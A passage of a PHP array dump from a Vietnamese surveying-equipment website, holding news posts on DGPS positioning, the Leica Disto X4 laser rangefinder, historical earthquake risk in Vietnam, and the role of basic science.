20px; font-family: Arial, sans-serif;"> </div> ', 'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-12-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66565', 'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '929', 'rght' => '930', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '531', 'name' => 'Công nghệ DGPS và ứng dụng của nó.', 'code' => null, 'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>', 'content' => '<p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br /> </p> <p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p> <p style="text-align: center;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br /> <br /> Hệ thống DGPS:<br /> - Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br /> - Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br /> <br /> Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br /> <br /> Các ứng dụng hệ thống DGPS: <br /> <br /> - Ứng dụng trong trắc địa và bản đồ mặt Đất<br /> - Ứng dụng trong trắc địa và bản đồ biển<br /> - Ứng dụng trong giao thông và hải dương học trên biển<br /> - Ứng dụng trong trắc địa và bản đồ hàng không<br /> - Ứng dụng trong giao thông hàng không<br /> - Ứng dụng trong thám hiểm không gian<br /> - Ứng dụng trong quân đội<br /> <br /> <strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br /> <ul> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li> </ul> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p> ', 'images' => '20181123080947be329442040732a45e4832bf54eaf382.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-23', 'modified' => '2025-08-19', 'status' => '1', 'view' => '68589', 'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '927', 'rght' => '928', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '530', 'name' => 'Chức năng của máy đo khoảng cách laser Disto X4', 'code' => null, 'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br /> <br /> * Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> ', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <table border="0" cellpadding="0" style="width:700px;" width="700"> <tbody> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br /> Tính toán tổng diện tích tường, sàn, trần</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br /> Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br /> với những vị trí khó tiếp cận</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br /> Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br /> Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br /> Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br /> Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br /> Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td> </tr> </tbody> </table> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br /> <br /> <br /> <br /> </span></span>', 'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-12', 'modified' => '2025-08-18', 'status' => '1', 'view' => '84630', 'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '925', 'rght' => '926', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $tinlq = array( (int) 0 => array( 'Post' => array( 'id' => '416', 'name' => 'VN từng có động đất đến 8 độ Richter?', 'code' => null, 'alias' => 'vn-tung-co-dong-dat-den-8-do-richter', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Các nghiên cứu khoa học khẳng định động đất mạnh nhất tại VN chỉ có thể đạt mức 7,5 độ Richter. Tuy nhiên, sau những nghiên cứu mới nhất và sau một số trận động đất mạnh hơn dự báo xảy ra trên thế giới, PGS.TS CAO ĐÌNH TRIỀU - Phó chủ tịch kiêm Tổng thư ký Hội Địa vật lý VN - đã đưa ra cảnh báo cần xem lại mức động đất cực đại tại VN.</div> <div> Ông Triều nói:</div> <div> <br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (6).jpg" style="width: 250px; height: 140px;" /><br /> </div> <div> - Trước khi xảy ra động đất mạnh tại Sumatra (Indonesia) năm 2004 thì tkhu vực này hầu như động đất rất yếu và sau động đất năm 2004 thì vùng này đã xảy ra rất nhiều trận động đất, thậm chí có cả hoạt động núi lửa. Ở Nhật Bản cũng vậy, sau trận động đất ngày 11-3 cũng đã xuất hiện nhiều trận động đất khác xảy ra tiếp theo.</div> <div> </div> <div> Tại VN, chúng tôi nghiên cứu thấy vùng ven biển Nam Trung bộ trong thời gian trước năm 2005 gần như không quan trắc thấy động đất nhưng từ năm 2005 trở lại đây đã xuất hiện động đất nhiều. Đấy là bắt đầu thời kỳ hoạt động trở lại của động đất.</div> <div> </div> <div> <strong>* Liệu có phải đó là dấu hiệu sẽ xuất hiện động đất mạnh tại VN?</strong></div> <div> </div> <div> - Theo nghiên cứu của chúng tôi, có thể đến năm 2015 sẽ có nguy cơ lớn xảy ra động đất mạnh dưới 7 độ Richter ở Tây Bắc. Đây là kết quả nghiên cứu dự báo động đất trung hạn (thời gian từ 5-10 năm). </div> <div> </div> <div> Nhược điểm của dự báo trung hạn là chỉ dự báo được trong một khoảng thời gian dài và trong một vùng tương đối rộng, không chính xác được điểm nào. Ví dụ muốn nghiên cứu cho vùng Tây Bắc thì phải nghiên cứu sang cả Lào. Còn dự báo ngắn hạn có thể chính xác hơn về vị trí nhưng VN chưa làm được.</div> <div> </div> <div> <strong>* Động đất mới đây tại Nhật Bản đã vượt qua dự báo của các nhà khoa học Nhật Bản, vậy các nhà khoa học VN đặt vấn đề xem lại dự báo động đất cực đại tại VN như thế nào?</strong></div> <div> </div> <div> - Theo kết quả nghiên cứu được công bố chính thức của Viện Vật lý địa cầu, động đất cực đại tại VN có thể đạt tới 7-7,5 độ Richter đối với khu vực đứt gãy sông Cả (ven biển Nghệ An). Khu vực Tuần Giáo (Lai Châu) có thể xảy ra động đất 7 độ Richter. Đến nay VN vẫn chưa có trận động đất nào mạnh hơn mức các nhà khoa học dự báo.</div> <div> </div> <div> Nếu mức độ xảy ra trong giới hạn đã dự báo thì không cần thay đổi dự báo, chỉ khi nào động đất xảy ra vượt qua mức đấy thì phải xem xét, đánh giá lại để có thể có kết luận mới về động đất cực đại. Tuy nhiên, trận động đất tại Sumatra năm 2004 là siêu động đất, đã vượt qua dự báo của các nhà khoa học. Trận động đất ở Nhật Bản hôm 11-3 cũng vượt qua dự báo, gây ra sóng thần cao đến 11,5m. Vì thế, chúng ta cũng phải nhìn nhận lại. Các nhà khoa học cần phải tiếp cận những phương pháp mới hơn để cho ra kết quả tốt hơn.</div> <div> </div> <div> <strong>* Nghĩa là rất cần thiết phải xem lại động đất cực đại tại VN?</strong></div> <div> </div> <div> - Những kết luận chúng ta đưa ra về động đất cực đại trước đây chỉ phản ánh thực tế trình độ khoa học của VN lúc đó nên chúng ta không thể dừng ở đó được. Từ năm 2004 chúng tôi đã tiến hành khảo sát động đất cổ, sóng thần cổ tại VN. Qua quá trình khảo sát, đánh giá động đất cổ trên đứt gãy Phong Thổ (Lai Châu), chúng tôi nghi ngờ cách đây khoảng 480-530 năm từng xảy ra động đất mạnh 8 độ Richter trên đứt gãy này. Hay qua nghiên cứu chúng tôi nghi ngờ từng có sóng thần xảy ra cách đây 3.900-4.100 năm tại vùng ven biển Nghệ An với độ cao của sóng khi vào đến bờ từ 10-15m, tức là phải có động đất mạnh ngoài biển. Nhưng những kết luận này còn cần phải được chứng minh chắc chắn, được khẳng định thì mới công bố và điều chỉnh lại các kết quả nghiên cứu của giai đoạn trước.</div> <div> </div> <div> <strong>* Cơ sở nào để các nhà khoa học nghi ngờ có động đất cổ xảy ra tại Phong Thổ mạnh tới 8 độ Richter?</strong></div> <div> </div> <div> - Chúng tôi phát hiện những sạt lở rất lớn và thấy rằng chúng chỉ có thể xảy ra trong trạng thái bị tác động đột ngột chứ không phải sạt lở thông thường. Các sạt lở này cũng chỉ có thể được gây nên bởi một trận động đất mạnh. Qua tính toán, chúng tôi nghi ngờ có thể đã xảy ra động đất mạnh 8 độ Richter.</div> <div> </div> <div> <strong>* Các kết luận trước đây về động đất tại VN có đáng tin cậy không?</strong></div> <div> </div> <div> - VN có trạm quan trắc động đất đầu tiên vào năm 1924 tại Đài vật lý địa cầu Phủ Liễn nhưng năm 1944 trạm đã bị phá hủy do chiến tranh. Năm 1957 trạm mới được khôi phục. Năm 1961 đặt thêm trạm ở Sa Pa. Năm 1967 có thêm trạm ở Bắc Giang. Sau năm 1975 mới hình thành mạng lưới trạm quan trắc. Đến nay cả nước có 24 trạm. Do hệ thống trạm quan trắc hình thành muộn nên đến giờ chúng ta mới quan trắc được động đất mạnh nhất là 6,7 độ Richter xảy ra tại Tuần Giáo năm 1983. Do đó, có thể nói số liệu quan trắc động đất của VN yếu và chỉ trong thời gian ngắn trong khi chu kỳ động đất ở VN có thời kỳ yên tĩnh rất dài.</div> <div> </div> <div> Về tư liệu lịch sử, chúng ta cũng chỉ có hơn 100 tư liệu ghi lại động đất xảy ra trong quá khứ, trong đó có những tư liệu chúng tôi đánh giá đã có động đất mạnh 6,8 độ Richter xảy ra năm 1935 tại Điện Biên. Nhưng tư liệu cha ông mình viết hơi sơ lược nên khi đánh giá về động đất cực đại ở VN vẫn cần phải xem xét cẩn thận hơn.</div> ', 'images' => '201606210641583637d3fd9b55ccec2ee694e7e450cd6d.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-18', 'status' => '1', 'view' => '108261', 'slug' => 'vn-tung-co-dong-dat-den-8-do-richter', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '721', 'rght' => '722', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '415', 'name' => 'Vai trò của khoa học cơ bản?', 'code' => null, 'alias' => 'vai-tro-cua-khoa-hoc-co-ban', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div> <div> “Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div> <div> Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. </div> <div> </div> <div> <strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div> <div> <br /> Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div> <div> Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div> <div> <br /> <img alt="" src="/admin/webroot/upload/image/images/2kh.jpg" style="width: 198px; height: 221px;" /><br /> </div> <div> C.H. Llewellyn Smith</div> <div> <br /> Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu 